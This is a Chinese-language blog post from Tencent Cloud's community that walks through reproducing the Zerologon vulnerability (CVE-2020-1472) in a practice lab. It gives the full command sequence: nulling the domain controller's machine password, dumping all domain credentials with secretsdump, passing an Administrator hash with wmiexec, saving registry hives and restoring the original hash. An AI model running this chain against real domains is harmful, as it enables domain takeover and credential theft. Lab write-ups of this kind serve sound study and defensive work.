前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >CVE-2020-1472 Zerologon域提权漏洞

CVE-2020-1472 Zerologon域提权漏洞

原创
作者头像
用户8478947
发布2022-09-07 15:05:27
9200
发布2022-09-07 15:05:27
举报
文章被收录于专栏:安全学习

漏洞简介

由于微软在Netlogon协议中没有正确使用加密算法而导致的漏洞,Netlogon协议身份认证采用了挑战-响应机制,微软在进行AES加密运算过程中,使用了AES-CFB8模式并且错误的将IV设置为全零,这使得攻击者在明文(client challenge)、IV等要素可控的情况下,存在较高概率使得产生的密文为全零,从而可以达到将机器用户hash置空。

利用过程

  1. 利用exp将域控的机器账户的hash置换成空密码的hash
  2. 利用空hash接管域控权限
  3. 还原域控的机器账户的hash(否则会导致域控脱域等重大影响)

漏洞环境

该漏洞复现环境是红日二靶场搭建的,拓扑如下

主机名字

IP

DC.de1ay.com

10.10.10.10

root kali

10.10.10.128

漏洞所用的工具

  1. 漏洞测试工具:zerologon_tester

https://github.com/SecuraBV/CVE-2020-1472

  1. 漏洞利用工具:zerologon

https://github.com/risksense/zerologon

  1. 网络协议工具:impacket

https://github.com/SecureAuthCorp/impacket

漏洞复现

测试域控是否存在漏洞

代码语言:txt
复制
python3 zerologon_tester.py DC 10.10.10.10
image-20220904110240613
image-20220904110240613

使用漏洞利用工具置空域控机器账户的密码,但是该步很可能会导致域控脱域,所以在攻击之后还需要进行恢复域控机器的用户hash。

这里如果运行之后提示module'impacket.dcerpc.v5.nrpc' has no attribute 'NetrServerPasswordSet2'的话,需要卸载impacket,然后再重新安装最新的impacket即可。

代码语言:txt
复制
python3 set_empty_pw.py DC 10.10.10.10
image-20220904144726261
image-20220904144726261

此时域控服务器账户密码为空,同等于已知密码,因此可以导出域内所有用户凭据

代码语言:txt
复制
python3 secretsdump.py de1ay/DC\$@10.10.10.10 -no-pass
image-20220904151632486
image-20220904151632486

把域控DC的哈希值进行解密,发现确实是空密码

image-20220904151029364
image-20220904151029364

既然得到了域管理员的哈希值,可以拿下域控了。

代码语言:txt
复制
python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:8c535a2d84c3b21059d667639bb89db5 de1ay.com/Administrator@10.10.10.10
image-20220904152352991
image-20220904152352991

域控机器的用户hash复原

为了对域控机器的用户hash进行复原,我们需要进行以下操作:

代码语言:shell
复制
1.获取目标原始hash
reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save

2.将导出的hash文件下载到本地
get system.save
get sam.save
get security.save

3.在域控主机上删除导出的hash文件
del /f system.save
del /f sam.save
del /f security.save
image-20220904154710844
image-20220904154710844

得到域控机器的本地hash文件后,使用secretsdump读取下载到本地的hash文件,获取域控机器账户置空前的原始hash。

代码语言:txt
复制
python3 secretsdump.py -sam sam.save -system system.save -security security.save LOCAL
image-20220904155242200
image-20220904155242200

还原域控机器账户hash

代码语言:txt
复制
python3 reinstall_original_pw.py DC 10.10.10.10 37631b5a8ea2c76137cef38dd5578ec3
image-20220904155318293
image-20220904155318293

测试是否还能够进行空密码连接,发现不行,说明确实复原了域控机器的hash。

代码语言:txt
复制
python3 secretsdump.py de1ay/DC\$@10.10.10.10 -no-pass
image-20220904155509044
image-20220904155509044

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 漏洞简介
  • 利用过程
  • 漏洞环境
  • 漏洞所用的工具
  • 漏洞复现
  • 域控机器的用户hash复原
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档